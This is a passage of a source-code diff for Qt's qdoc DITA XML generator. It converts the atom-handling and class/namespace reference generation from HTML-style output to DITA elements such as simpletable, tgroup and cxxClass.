+            xmlWriter().writeEndElement(); // </image>
+            xmlWriter().writeEndElement(); // </fig>
         }
         break;
     case Atom::ImageText:
         // nothing
         break;
     case Atom::LegaleseLeft:
-        writer.writeStartElement("p");
-        writer.writeAttribute("outputclass","legalese");
+        inLegaleseText = true;
         break;
     case Atom::LegaleseRight:
-        writer.writeEndElement(); // </p>
+        inLegaleseText = false;
         break;
     case Atom::LineBreak:
-        writer.writeEmptyElement("br");
+        //xmlWriter().writeEmptyElement("br");
         break;
     case Atom::Link:
         {
             const Node *node = 0;
             QString myLink = getLink(atom, relative, marker, &node);
             if (myLink.isEmpty()) {
-                relative->doc().location().warning(tr("Cannot link to '%1' in %2")
+                relative->doc().location().warning(tr("Can't link to '%1' in %2")
                         .arg(atom->string())
                         .arg(marker->plainFullName(relative)));
             }
-            beginLink(myLink, node, relative, marker);
+            else if (!inSectionHeading) {
+                beginLink(myLink);
+            }
+#if 0
+            else {
+                //xmlWriter().writeCharacters(atom->string());
+                //qDebug() << "MYLINK:" << myLink << outFileName() << atom->string();
+            }
+#endif
+            skipAhead = 1;
+        }
+        break;
+    case Atom::GuidLink:
+        {
+#if 0            
+            qDebug() << "GUID LINK:" << atom->string() << outFileName();
+#endif            
+            beginLink(atom->string());
             skipAhead = 1;
         }
         break;
     case Atom::LinkNode:
         {
-            const Node *node = CodeMarker::nodeForString(atom->string());
-            beginLink(linkForNode(node, relative), node, relative, marker);
+            const Node* node = CodeMarker::nodeForString(atom->string());
+            beginLink(linkForNode(node, relative));
             skipAhead = 1;
         }
         break;
     case Atom::ListLeft:
         if (in_para) {
-            writer.writeEndElement(); // </p>
+            xmlWriter().writeEndElement(); // </p>
             in_para = false;
         }
         if (atom->string() == ATOM_LIST_BULLET) {
-            writer.writeStartElement("ul");
+            xmlWriter().writeStartElement("ul");
         }
         else if (atom->string() == ATOM_LIST_TAG) {
-            writer.writeStartElement("dl");
+            xmlWriter().writeStartElement("dl");
         }
         else if (atom->string() == ATOM_LIST_VALUE) {
             threeColumnEnumValueTable = isThreeColumnEnumValueTable(atom);
             if (threeColumnEnumValueTable) {
-                writer.writeStartElement("table");
-                writer.writeAttribute("outputclass","valuelist");
-                writer.writeStartElement("tr");
-                if (++numTableRows % 2 == 1)
-                    writer.writeAttribute("outputclass","odd");
-                else
-                    writer.writeAttribute("outputclass","even");
-                writer.writeStartElement("th");
-                writer.writeCharacters("Constant");
-                writer.writeEndElement(); // </th>
-                writer.writeStartElement("th");
-                writer.writeCharacters("Value");
-                writer.writeEndElement(); // </th>
-                writer.writeStartElement("th");
-                writer.writeCharacters("Description");
-                writer.writeEndElement(); // </th>
-                writer.writeEndElement(); // </tr>
+                xmlWriter().writeStartElement("simpletable");
+                xmlWriter().writeAttribute("outputclass","valuelist");
+                xmlWriter().writeStartElement("sthead");
+                xmlWriter().writeStartElement("stentry");
+                xmlWriter().writeCharacters("Constant");
+                xmlWriter().writeEndElement(); // </stentry>
+                xmlWriter().writeStartElement("stentry");
+                xmlWriter().writeCharacters("Value");
+                xmlWriter().writeEndElement(); // </stentry>
+                xmlWriter().writeStartElement("stentry");
+                xmlWriter().writeCharacters("Description");
+                xmlWriter().writeEndElement(); // </stentry>
+                xmlWriter().writeEndElement(); // </sthead>
             }
             else {
-                writer.writeStartElement("table");
-                writer.writeAttribute("outputclass","valuelist");
-                writer.writeStartElement("tr");
-                writer.writeStartElement("th");
-                writer.writeCharacters("Constant");
-                writer.writeEndElement(); // </th>
-                writer.writeStartElement("th");
-                writer.writeCharacters("Value");
-                writer.writeEndElement(); // </th>
-                writer.writeEndElement(); // </tr>
+                xmlWriter().writeStartElement("simpletable");
+                xmlWriter().writeAttribute("outputclass","valuelist");
+                xmlWriter().writeStartElement("sthead");
+                xmlWriter().writeStartElement("stentry");
+                xmlWriter().writeCharacters("Constant");
+                xmlWriter().writeEndElement(); // </stentry>
+                xmlWriter().writeStartElement("stentry");
+                xmlWriter().writeCharacters("Value");
+                xmlWriter().writeEndElement(); // </stentry>
+                xmlWriter().writeEndElement(); // </sthead>
             }
         }
         else {
-            writer.writeStartElement("ol");
+            xmlWriter().writeStartElement("ol");
             if (atom->string() == ATOM_LIST_UPPERALPHA)
-                writer.writeAttribute("type","A");
+                xmlWriter().writeAttribute("outputclass","upperalpha");
             else if (atom->string() == ATOM_LIST_LOWERALPHA)
-                writer.writeAttribute("type","a");
+                xmlWriter().writeAttribute("outputclass","loweralpha");
             else if (atom->string() == ATOM_LIST_UPPERROMAN)
-                writer.writeAttribute("type","I");
+                xmlWriter().writeAttribute("outputclass","upperroman");
             else if (atom->string() == ATOM_LIST_LOWERROMAN)
-                writer.writeAttribute("type","i");
+                xmlWriter().writeAttribute("outputclass","lowerroman");
             else // (atom->string() == ATOM_LIST_NUMERIC)
-                writer.writeAttribute("type","1");
-            if (atom->next() != 0 && atom->next()->string().toInt() != 1)
-                writer.writeAttribute("start",atom->next()->string());
+                xmlWriter().writeAttribute("outputclass","numeric");
+            if (atom->next() != 0 && atom->next()->string().toInt() != 1) {
+                // I don't think this attribute is supported.
+                xmlWriter().writeAttribute("start",atom->next()->string());
+            }
         }
         break;
     case Atom::ListItemNumber:
@@ -1127,19 +1191,17 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
         break;
     case Atom::ListTagLeft:
         if (atom->string() == ATOM_LIST_TAG) {
-            writer.writeStartElement("dt");
+            xmlWriter().writeStartElement("dt");
         }
         else { // (atom->string() == ATOM_LIST_VALUE)
-            writer.writeStartElement("tr");
-            writer.writeStartElement("td");
-            writer.writeAttribute("outputclass","topAlign");
-            writer.writeStartElement("tt");
-            writer.writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(),
-                                                                                  relative))));
-            writer.writeEndElement(); // </tt>
-            writer.writeEndElement(); // </td>
-            writer.writeStartElement("td");
-            writer.writeAttribute("outputclass","topAlign");
+            xmlWriter().writeStartElement("strow");
+            xmlWriter().writeStartElement("stentry");
+            xmlWriter().writeStartElement("tt");
+            writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(),
+                                                                           relative))));
+            xmlWriter().writeEndElement(); // </tt>
+            xmlWriter().writeEndElement(); // </stentry>
+            xmlWriter().writeStartElement("stentry");
 
             QString itemValue;
             if (relative->type() == Node::Enum) {
@@ -1148,105 +1210,124 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
             }
 
             if (itemValue.isEmpty())
-                writer.writeCharacters("?");
+                xmlWriter().writeCharacters("?");
             else {
-                writer.writeStartElement("tt");
-                writer.writeCharacters(protectEnc(itemValue));
-                writer.writeEndElement(); // </tt>
+                xmlWriter().writeStartElement("tt");
+                writeCharacters(protectEnc(itemValue));
+                xmlWriter().writeEndElement(); // </tt>
             }
             skipAhead = 1;
         }
         break;
     case Atom::ListTagRight:
         if (atom->string() == ATOM_LIST_TAG)
-            writer.writeEndElement(); // </dt>
+            xmlWriter().writeEndElement(); // </dt>
         break;
     case Atom::ListItemLeft:
         if (atom->string() == ATOM_LIST_TAG) {
-            writer.writeStartElement("dd");
+            xmlWriter().writeStartElement("dd");
         }
         else if (atom->string() == ATOM_LIST_VALUE) {
             if (threeColumnEnumValueTable) {
-                writer.writeEndElement(); // </td>
-                writer.writeStartElement("td");
-                writer.writeAttribute("outputclass","topAlign");
-                if (matchAhead(atom, Atom::ListItemRight))
-                    writer.writeCharacters("&nbsp;");
+                xmlWriter().writeEndElement(); // </stentry>
+                xmlWriter().writeStartElement("stentry");
             }
         }
         else {
-            writer.writeStartElement("li");
+            xmlWriter().writeStartElement("li");
         }
         if (matchAhead(atom, Atom::ParaLeft))
             skipAhead = 1;
         break;
     case Atom::ListItemRight:
         if (atom->string() == ATOM_LIST_TAG) {
-            writer.writeEndElement(); // </dd>
+            xmlWriter().writeEndElement(); // </dd>
         }
         else if (atom->string() == ATOM_LIST_VALUE) {
-            writer.writeEndElement(); // </td>
-            writer.writeEndElement(); // </tr>
+            xmlWriter().writeEndElement(); // </stentry>
+            xmlWriter().writeEndElement(); // </strow>
         }
         else {
-            writer.writeEndElement(); // </li>
+            xmlWriter().writeEndElement(); // </li>
         }
         break;
     case Atom::ListRight:
         if (atom->string() == ATOM_LIST_BULLET) {
-            writer.writeEndElement(); // </ul>
+            xmlWriter().writeEndElement(); // </ul>
         }
         else if (atom->string() == ATOM_LIST_TAG) {
-            writer.writeEndElement(); // </dl>
+            xmlWriter().writeEndElement(); // </dl>
         }
         else if (atom->string() == ATOM_LIST_VALUE) {
-            writer.writeEndElement(); // </table>
+            xmlWriter().writeEndElement(); // </simpletable>
         }
         else {
-            writer.writeEndElement(); // </ol>
+            xmlWriter().writeEndElement(); // </ol>
         }
         break;
     case Atom::Nop:
         // nothing
         break;
     case Atom::ParaLeft:
-        writer.writeStartElement("p");
+        xmlWriter().writeStartElement("p");
+        if (inLegaleseText)
+            xmlWriter().writeAttribute("outputclass","legalese");
         in_para = true;
         break;
     case Atom::ParaRight:
         endLink();
         if (in_para) {
-            writer.writeEndElement(); // </p?
+            xmlWriter().writeEndElement(); // </p>
             in_para = false;
         }
         break;
     case Atom::QuotationLeft:
-        writer.writeStartElement("blockquote");
+        xmlWriter().writeStartElement("lq");
         break;
     case Atom::QuotationRight:
-        writer.writeEndElement(); // </blockquote>
+        xmlWriter().writeEndElement(); // </lq>
         break;
     case Atom::RawString:
-        writer.writeCharacters(atom->string());
+        if (atom->string() == " ")
+            break;
+        if (atom->string().startsWith("&"))
+            writeCharacters(atom->string());
+        else if (atom->string() == "<sup>*</sup>") {
+            xmlWriter().writeStartElement("sup");
+            writeCharacters("*");
+            xmlWriter().writeEndElement(); // </sup>
+        }
+        else {
+            xmlWriter().writeStartElement("pre");
+            xmlWriter().writeAttribute("outputclass","raw-html");
+            writeCharacters(atom->string());
+            xmlWriter().writeEndElement(); // </pre>
+        }
         break;
     case Atom::SectionLeft:
-        writer.writeStartElement("p");
+        if (inSection || inApiDesc) {
+            inApiDesc = false;
+            xmlWriter().writeEndElement(); // </section> or </apiDesc>
+        }
+        inSection = true;
+        xmlWriter().writeStartElement("section");
         writeGuidAttribute(Doc::canonicalTitle(Text::sectionHeading(atom).toString()));
-        writer.writeAttribute("outputclass","target");
-        writer.writeCharacters(protectEnc(Text::sectionHeading(atom).toString()));
-        writer.writeEndElement(); // </p>
+        xmlWriter().writeAttribute("outputclass","details");
         break;
     case Atom::SectionRight:
-        // nothing
+        if (inSection) {
+            inSection = false;
+            xmlWriter().writeEndElement(); // </section>
+        }
         break;
     case Atom::SectionHeadingLeft:
-        writer.writeStartElement("p");
+        xmlWriter().writeStartElement("title");
         hx = "h" + QString::number(atom->string().toInt() + hOffset(relative));
-        writer.writeAttribute("outputclass",hx);
+        xmlWriter().writeAttribute("outputclass",hx);
         inSectionHeading = true;
         break;
     case Atom::SectionHeadingRight:
-        writer.writeEndElement(); // </p> (see case Atom::SectionHeadingLeft)
+        xmlWriter().writeEndElement(); // </title> (see case Atom::SectionHeadingLeft)
         inSectionHeading = false;
         break;
     case Atom::SidebarLeft:
@@ -1260,67 +1341,93 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
             generateLink(atom, relative, marker);
         }
         else {
-            writer.writeCharacters(protectEnc(atom->string()));
+            writeCharacters(protectEnc(atom->string()));
         }
         break;
     case Atom::TableLeft:
-        if (in_para) {
-            writer.writeEndElement(); // </p>
-            in_para = false;
+        {
+            if (in_para) {
+                xmlWriter().writeEndElement(); // </p>
+                in_para = false;
+            }
+            xmlWriter().writeStartElement("table");
+            numTableRows = 0;
+            if (tableColumnCount != 0) {
+                qDebug() << "ERROR: Nested tables!";
+                tableColumnCount = 0;
+            }
+            tableColumnCount = countTableColumns(atom->next());
+            xmlWriter().writeStartElement("tgroup");
+            xmlWriter().writeAttribute("cols",QString::number(tableColumnCount));
+            inTableHeader = false;
+            inTableBody = false;
         }
-        writer.writeStartElement("table");
-        writer.writeAttribute("outputclass","generic");
-        numTableRows = 0;
         break;
     case Atom::TableRight:
-        writer.writeEndElement(); // </table>
+        xmlWriter().writeEndElement(); // </tbody>
+        xmlWriter().writeEndElement(); // </tgroup>
+        xmlWriter().writeEndElement(); // </table>
+        inTableHeader = false;
+        inTableBody = false;
+        tableColumnCount = 0;
         break;
     case Atom::TableHeaderLeft:
-        writer.writeStartElement("thead");
-        writer.writeStartElement("tr");
-        writer.writeAttribute("outputclass","qt-style topAlign");
+        if (inTableBody) {
+            xmlWriter().writeEndElement(); // </tbody>
+            xmlWriter().writeEndElement(); // </tgroup>
+            xmlWriter().writeEndElement(); // </table>
+            inTableHeader = false;
+            inTableBody = false;
+            tableColumnCount = 0;
+            xmlWriter().writeStartElement("table");
+            numTableRows = 0;
+            tableColumnCount = countTableColumns(atom);
+            xmlWriter().writeStartElement("tgroup");
+            xmlWriter().writeAttribute("cols",QString::number(tableColumnCount));
+        }
+        xmlWriter().writeStartElement("thead");
+        xmlWriter().writeAttribute("valign","top");
+        xmlWriter().writeStartElement("row");
+        xmlWriter().writeAttribute("valign","top");
         inTableHeader = true;
+        inTableBody = false;
         break;
     case Atom::TableHeaderRight:
-        writer.writeEndElement(); // </tr>
+        xmlWriter().writeEndElement(); // </row>
         if (matchAhead(atom, Atom::TableHeaderLeft)) {
             skipAhead = 1;
-            writer.writeStartElement("tr");
-            writer.writeAttribute("outputclass","qt-style topAlign");
+            xmlWriter().writeStartElement("row");
+            xmlWriter().writeAttribute("valign","top");
         }
         else { 
-            writer.writeEndElement(); // </thead>
+            xmlWriter().writeEndElement(); // </thead>
             inTableHeader = false;
+            inTableBody = true;
+            xmlWriter().writeStartElement("tbody");
         }
         break;
     case Atom::TableRowLeft:
-        writer.writeStartElement("tr");
-        if (++numTableRows % 2 == 1)
-            writer.writeAttribute("outputclass","odd topAlign");
-        else
-            writer.writeAttribute("outputclass","even topAlign");
+        if (!inTableHeader && !inTableBody) {
+            inTableBody = true;
+            xmlWriter().writeStartElement("tbody");
+        }
+        xmlWriter().writeStartElement("row");
+        xmlWriter().writeAttribute("valign","top");
         break;
     case Atom::TableRowRight:
-        writer.writeEndElement(); // </tr>\n";
+        xmlWriter().writeEndElement(); // </row>
         break;
     case Atom::TableItemLeft:
         {
-            if (inTableHeader)
-                writer.writeStartElement("th");
-            else
-                writer.writeStartElement("td");
-
+            xmlWriter().writeStartElement("entry");
             QStringList spans = atom->string().split(",");
             if (spans.size() == 2) {
-#if zzz        
-                
-                if (spans.at(0) != "1")
-                    out() << " colspan=\"" << spans.at(0) << "\"";
-                if (spans.at(1) != "1")
-                    out() << " rowspan=\"" << spans.at(1) << "\"";
-#endif                
-                if (!inTableHeader)
-                    writer.writeStartElement("p"); 
+                if (inTableHeader ||
+                    (spans[0].toInt() != 1) ||
+                    (spans[1].toInt() != 1)) {
+                    QString s = "span(" + spans[0] + "," + spans[1] + ")";
+                    xmlWriter().writeAttribute("outputclass",s);
+                }
             }
             if (matchAhead(atom, Atom::ParaLeft))
                 skipAhead = 1;
@@ -1328,10 +1435,9 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
         break;
     case Atom::TableItemRight:
         if (inTableHeader)
-            writer.writeEndElement(); // </th>
+            xmlWriter().writeEndElement(); // </entry>
         else {
-            writer.writeEndElement(); // </p>
-            writer.writeEndElement(); // </td>
+            xmlWriter().writeEndElement(); // </entry>
         }
         if (matchAhead(atom, Atom::ParaLeft))
             skipAhead = 1;
@@ -1339,7 +1445,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
     case Atom::TableOfContents:
         {
             int numColumns = 1;
-            const Node *node = relative;
+            const Node* node = relative;
 
             Doc::SectioningUnit sectioningUnit = Doc::Section4;
             QStringList params = atom->string().split(",");
@@ -1366,30 +1472,32 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
         }
         break;
     case Atom::Target:
-        writer.writeStartElement("p");
+        if (in_para) {
+            xmlWriter().writeEndElement(); // </p>
+            in_para = false;
+        }
+        xmlWriter().writeStartElement("p");
         writeGuidAttribute(Doc::canonicalTitle(atom->string()));
-        writer.writeAttribute("outputclass","target");
-        writer.writeCharacters(protectEnc(atom->string()));
-        writer.writeEndElement(); // </p>
+        xmlWriter().writeAttribute("outputclass","target");
+        //xmlWriter().writeCharacters(protectEnc(atom->string()));
+        xmlWriter().writeEndElement(); // </p>
         break;
     case Atom::UnhandledFormat:
-        writer.writeStartElement("b");
-        writer.writeAttribute("outputclass","redFont");
-        writer.writeCharacters("&lt;Missing DITAXML&gt");
-        writer.writeEndElement(); // </b>
+        xmlWriter().writeStartElement("b");
+        xmlWriter().writeAttribute("outputclass","error");
+        xmlWriter().writeCharacters("<Missing DITAXML>");
+        xmlWriter().writeEndElement(); // </b>
         break;
     case Atom::UnknownCommand:
-        writer.writeStartElement("b");
-        writer.writeAttribute("outputclass","redFont code");
-        writer.writeCharacters(protectEnc(atom->string()));
-        writer.writeEndElement(); // </b>
+        xmlWriter().writeStartElement("b");
+        xmlWriter().writeAttribute("outputclass","error unknown-command");
+        writeCharacters(protectEnc(atom->string()));
+        xmlWriter().writeEndElement(); // </b>
         break;
-#ifdef QDOC_QML
     case Atom::QmlText:
     case Atom::EndQmlText:
         // don't do anything with these. They are just tags.
         break;
-#endif
     default:
         //        unknownAtom(atom);
         break;
@@ -1398,294 +1506,510 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
 }
 
 /*!
-  Generate a reference page for a C++ class.
+  Generate a <cxxClass> element (and all the stuff inside it)
+  for the C++ class represented by \a innerNode. \a marker is
+  for marking up the code. I don't know what that means exactly.
  */
 void
 DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* marker)
 {
-    QList<Section> sections;
     QList<Section>::ConstIterator s;
 
-    const ClassNode* cn = 0;
-    const NamespaceNode* namespasse = 0;
-
     QString title;
     QString rawTitle;
     QString fullTitle;
     if (inner->type() == Node::Namespace) {
-        namespasse = const_cast<NamespaceNode*>(static_cast<const NamespaceNode*>(inner));
+        const NamespaceNode* nsn = const_cast<NamespaceNode*>(static_cast<const NamespaceNode*>(inner));
         rawTitle = marker->plainName(inner);
         fullTitle = marker->plainFullName(inner);
         title = rawTitle + " Namespace";
+
+        /*
+          Note: Because the C++ specialization we are using
+          has no <cxxNamespace> element, we are using the
+          <cxxClass> element with an outputclass attribute
+          set to "namespace" .
+         */
+        generateHeader(inner, fullTitle);
+        generateBrief(inner, marker); // <shortdesc>
+
+        // not included: <prolog>
+    
+        xmlWriter().writeStartElement(CXXCLASSDETAIL);
+        xmlWriter().writeStartElement(CXXCLASSDEFINITION);
+        writeLocation(nsn);
+        xmlWriter().writeEndElement(); // <cxxClassDefinition>
+
+        xmlWriter().writeStartElement("apiDesc");
+        xmlWriter().writeAttribute("spectitle",title);
+        Text brief = nsn->doc().briefText(); // zzz
+        if (!brief.isEmpty()) {
+            xmlWriter().writeStartElement("p");
+            generateText(brief, nsn, marker);
+            xmlWriter().writeEndElement(); // </p>
+        }
+        generateIncludes(nsn, marker);
+        generateStatus(nsn, marker);
+        generateThreadSafeness(nsn, marker);
+        generateSince(nsn, marker);
+        xmlWriter().writeEndElement(); // </apiDesc>
+
+        bool needOtherSection = false;
+        QList<Section> summarySections;
+        summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay);
+        s = summarySections.begin();
+        while (s != summarySections.end()) {
+            if (s->members.isEmpty() && s->reimpMembers.isEmpty()) {
+                if (!s->inherited.isEmpty())
+                    needOtherSection = true;
+            }
+            else {
+                QString attr;
+                if (!s->members.isEmpty()) {
+                    xmlWriter().writeStartElement("section");
+                    attr = cleanRef((*s).name).toLower() + " redundant";
+                    xmlWriter().writeAttribute("outputclass",attr);
+                    xmlWriter().writeStartElement("title");
+                    xmlWriter().writeAttribute("outputclass","h2");
+                    writeCharacters(protectEnc((*s).name));
+                    xmlWriter().writeEndElement(); // </title>
+                    generateSection(s->members, inner, marker, CodeMarker::Summary);
+                    generateSectionInheritedList(*s, inner, marker);
+                    xmlWriter().writeEndElement(); // </section>
+                }
+                if (!s->reimpMembers.isEmpty()) {
+                    QString name = QString("Reimplemented ") + (*s).name;
+                    attr = cleanRef(name).toLower() + " redundant";
+                    xmlWriter().writeStartElement("section");
+                    xmlWriter().writeAttribute("outputclass",attr);
+                    xmlWriter().writeStartElement("title");
+                    xmlWriter().writeAttribute("outputclass","h2");
+                    writeCharacters(protectEnc(name));
+                    xmlWriter().writeEndElement(); // </title>
+                    generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary);
+                    generateSectionInheritedList(*s, inner, marker);
+                    xmlWriter().writeEndElement(); // </section>
+                }
+            }
+            ++s;
+        }
+        if (needOtherSection) {
+            xmlWriter().writeStartElement("section");
+            xmlWriter().writeAttribute("outputclass","additional-inherited-members redundant");
+            xmlWriter().writeStartElement("title");
+            xmlWriter().writeAttribute("outputclass","h3");
+            xmlWriter().writeCharacters("Additional Inherited Members");
+            xmlWriter().writeEndElement(); // </title>
+            s = summarySections.begin();
+            while (s != summarySections.end()) {
+                if (s->members.isEmpty())
+                    generateSectionInheritedList(*s, inner, marker);
+                ++s;
+            }
+            xmlWriter().writeEndElement(); // </section>
+        }
+        
+        writeDetailedDescription(nsn, marker, false, QString("Detailed Description"));
+        xmlWriter().writeEndElement(); // </cxxClassDetail>
+
+        // not included: <related-links>
+        // not included: <cxxClassNested>
+
+        QList<Section> detailSections;
+        detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay);
+        s = detailSections.begin();
+        while (s != detailSections.end()) {
+            if ((*s).name == "Classes") {
+                writeNestedClasses((*s),nsn);
+                break;
+            }
+            ++s;
+        }
+
+        s = detailSections.begin();
+        while (s != detailSections.end()) {
+            if ((*s).name == "Function Documentation") {
+                writeFunctions((*s),nsn,marker);
+            }
+            else if ((*s).name == "Type Documentation") {
+                writeEnumerations((*s),marker);
+                writeTypedefs((*s),marker);
+            }
+            else if ((*s).name == "Namespaces") {
+                qDebug() << "Nested namespaces" << outFileName();
+            }
+            else if ((*s).name == "Macro Documentation") {
+                writeMacros((*s),marker);
+            }
+            ++s;
+        }
+
+        generateLowStatusMembers(inner,marker,CodeMarker::Obsolete);
+        generateLowStatusMembers(inner,marker,CodeMarker::Compat);
+        xmlWriter().writeEndElement(); // </cxxClass>
     }
     else if (inner->type() == Node::Class) {
-        cn = const_cast<ClassNode*>(static_cast<const ClassNode*>(inner));
+        const ClassNode* cn = const_cast<ClassNode*>(static_cast<const ClassNode*>(inner));
         rawTitle = marker->plainName(inner);
         fullTitle = marker->plainFullName(inner);
         title = rawTitle + " Class Reference";
 
-        generateHeader(inner);
-
-        writer.writeStartElement(CXXCLASS);
-        writer.writeAttribute("id",cn->guid());
-        writer.writeStartElement(APINAME);
-        writer.writeCharacters(fullTitle);
-        writer.writeEndElement(); // </apiName>
+        generateHeader(inner, fullTitle);
+        generateBrief(inner, marker); // <shortdesc>
 
-        generateBrief(inner, marker);
+        // not included: <prolog>
     
-        writer.writeStartElement(CXXCLASSDETAIL);
-        writer.writeStartElement(CXXCLASSDEFINITION);
-        writer.writeStartElement(CXXCLASSACCESSSPECIFIER);
-        writer.writeAttribute("value",inner->accessString());
-        writer.writeEndElement(); // <cxxClassAccessSpecifier>
+        xmlWriter().writeStartElement(CXXCLASSDETAIL);
+        xmlWriter().writeStartElement(CXXCLASSDEFINITION);
+        xmlWriter().writeStartElement(CXXCLASSACCESSSPECIFIER);
+        xmlWriter().writeAttribute("value",inner->accessString());
+        xmlWriter().writeEndElement(); // <cxxClassAccessSpecifier>
         if (cn->isAbstract()) {
-            writer.writeStartElement(CXXCLASSABSTRACT);
-            writer.writeAttribute("name","abstract");
-            writer.writeAttribute("value","abstract");
-            writer.writeEndElement(); // </cxxClassAbstract>
+            xmlWriter().writeStartElement(CXXCLASSABSTRACT);
+            xmlWriter().writeAttribute("name","abstract");
+            xmlWriter().writeAttribute("value","abstract");
+            xmlWriter().writeEndElement(); // </cxxClassAbstract>
         }
-        writeDerivations(cn, marker);
-        writeLocation(cn);
-        writer.writeEndElement(); // <cxxClassDefinition>
-        writer.writeStartElement(APIDESC);
+        writeDerivations(cn, marker); // <cxxClassDerivations>
+
+        // not included: <cxxClassTemplateParameters>
 
-        if (!inner->doc().isEmpty()) {
-            writer.writeStartElement("p");
-            writer.writeAttribute("outputclass","h2");
-            writer.writeCharacters("Detailed Description");
-            writer.writeEndElement(); // </p>
-            generateBody(inner, marker);
-            //        generateAlsoList(inner, marker);
+        writeLocation(cn);
+        xmlWriter().writeEndElement(); // <cxxClassDefinition>
+
+        xmlWriter().writeStartElement("apiDesc");
+        xmlWriter().writeAttribute("spectitle",title);
+        Text brief = cn->doc().briefText(); // zzz
+        if (!brief.isEmpty()) {
+            xmlWriter().writeStartElement("p");
+            generateText(brief, cn, marker);
+            xmlWriter().writeEndElement(); // </p>
+        }
+        generateIncludes(cn, marker);
+        generateStatus(cn, marker);
+        generateInherits(cn, marker);
+        generateInheritedBy(cn, marker);
+        generateThreadSafeness(cn, marker);
+        generateSince(cn, marker);
+        xmlWriter().writeEndElement(); // </apiDesc>
+
+        bool needOtherSection = false;
+        QList<Section> summarySections;
+        summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay);
+        s = summarySections.begin();
+        while (s != summarySections.end()) {
+            if (s->members.isEmpty() && s->reimpMembers.isEmpty()) {
+                if (!s->inherited.isEmpty())
+                    needOtherSection = true;
+            }
+            else {
+                QString attr;
+                if (!s->members.isEmpty()) {
+                    xmlWriter().writeStartElement("section");
+                    attr = cleanRef((*s).name).toLower() + " redundant";
+                    xmlWriter().writeAttribute("outputclass",attr);
+                    xmlWriter().writeStartElement("title");
+                    xmlWriter().writeAttribute("outputclass","h2");
+                    writeCharacters(protectEnc((*s).name));
+                    xmlWriter().writeEndElement(); // </title>
+                    generateSection(s->members, inner, marker, CodeMarker::Summary);
+                    generateSectionInheritedList(*s, inner, marker);
+                    xmlWriter().writeEndElement(); // </section>
+                }
+                if (!s->reimpMembers.isEmpty()) {
+                    QString name = QString("Reimplemented ") + (*s).name;
+                    attr = cleanRef(name).toLower() + " redundant";
+                    xmlWriter().writeStartElement("section");
+                    xmlWriter().writeAttribute("outputclass",attr);
+                    xmlWriter().writeStartElement("title");
+                    xmlWriter().writeAttribute("outputclass","h2");
+                    writeCharacters(protectEnc(name));
+                    xmlWriter().writeEndElement(); // </title>
+                    generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary);
+                    generateSectionInheritedList(*s, inner, marker);
+                    xmlWriter().writeEndElement(); // </section>
+                }
+            }
+            ++s;
         }
-    
-        writer.writeEndElement(); // </apiDesc>
-        writer.writeEndElement(); // </cxxClassDetail>
+        if (needOtherSection) {
+            xmlWriter().writeStartElement("section");
+            xmlWriter().writeAttribute("outputclass","additional-inherited-members redundant");
+            xmlWriter().writeStartElement("title");
+            xmlWriter().writeAttribute("outputclass","h3");
+            xmlWriter().writeCharacters("Additional Inherited Members");
+            xmlWriter().writeEndElement(); // </title>
+            s = summarySections.begin();
+            while (s != summarySections.end()) {
+                if (s->members.isEmpty())
+                    generateSectionInheritedList(*s, inner, marker);
+                ++s;
+            }
+            xmlWriter().writeEndElement(); // </section>
+        }
+        
+        writeDetailedDescription(cn, marker, false, QString("Detailed Description"));
+
+        // not included: <example> or <apiImpl>
 
-        sections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay);
-        s = sections.begin();
-        while (s != sections.end()) {
+        xmlWriter().writeEndElement(); // </cxxClassDetail>
+
+        // not included: <related-links>
+        // not included: <cxxClassNested>
+
+        QList<Section> detailSections;
+        detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay);
+        s = detailSections.begin();
+        while (s != detailSections.end()) {
             if ((*s).name == "Member Function Documentation") {
                 writeFunctions((*s),cn,marker);
             }
             else if ((*s).name == "Member Type Documentation") {
-                writeEnumerations((*s),cn,marker);
-                writeTypedefs((*s),cn,marker);
+                writeEnumerations((*s),marker);
+                writeTypedefs((*s),marker);
             }
             else if ((*s).name == "Member Variable Documentation") {
-                writeDataMembers((*s),cn,marker);
+                writeDataMembers((*s),marker);
             }
             else if ((*s).name == "Property Documentation") {
-                writeProperties((*s),cn,marker);
+                writeProperties((*s),marker);
             }
             else if ((*s).name == "Macro Documentation") {
-                writeMacros((*s),cn,marker);
+                writeMacros((*s),marker);
             }
             ++s;
         }
-        writer.writeEndElement(); // </cxxClass>
-    }
-
-#ifdef WRITE_HTML    
-    Text subtitleText;
-    if (rawTitle != fullTitle)
-        subtitleText << "(" << Atom(Atom::AutoLink, fullTitle) << ")"
-                     << Atom(Atom::LineBreak);
-
-    QString shortVersion;
-    shortVersion = project + " " + shortVersion + ": ";
-    shortVersion = myTree->version();
-    if (shortVersion.count(QChar('.')) == 2)
-        shortVersion.truncate(shortVersion.lastIndexOf(QChar('.')));
-    if (!shortVersion.isEmpty()) {
-        if (project == "QSA")
-            shortVersion = "QSA " + shortVersion + ": ";
-        else
-            shortVersion = "Qt " + shortVersion + ": ";
-    }
-
-    out() << "  <title>" << shortVersion << protectEnc(title) << "</title>\n";
-
-#if 0    
-    out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version());
-    generateBreadCrumbs(title,node,marker);
-    out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version());
-#endif    
-    
-    sections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay);
-    generateTableOfContents(inner,marker,&sections);
-    generateTitle(title, subtitleText, SmallSubTitle, inner, marker);
 
-#ifdef QDOC_QML
-    if (cn && !cn->qmlElement().isEmpty()) {
-        generateInstantiatedBy(cn,marker);
+        generateLowStatusMembers(inner,marker,CodeMarker::Obsolete);
+        generateLowStatusMembers(inner,marker,CodeMarker::Compat);
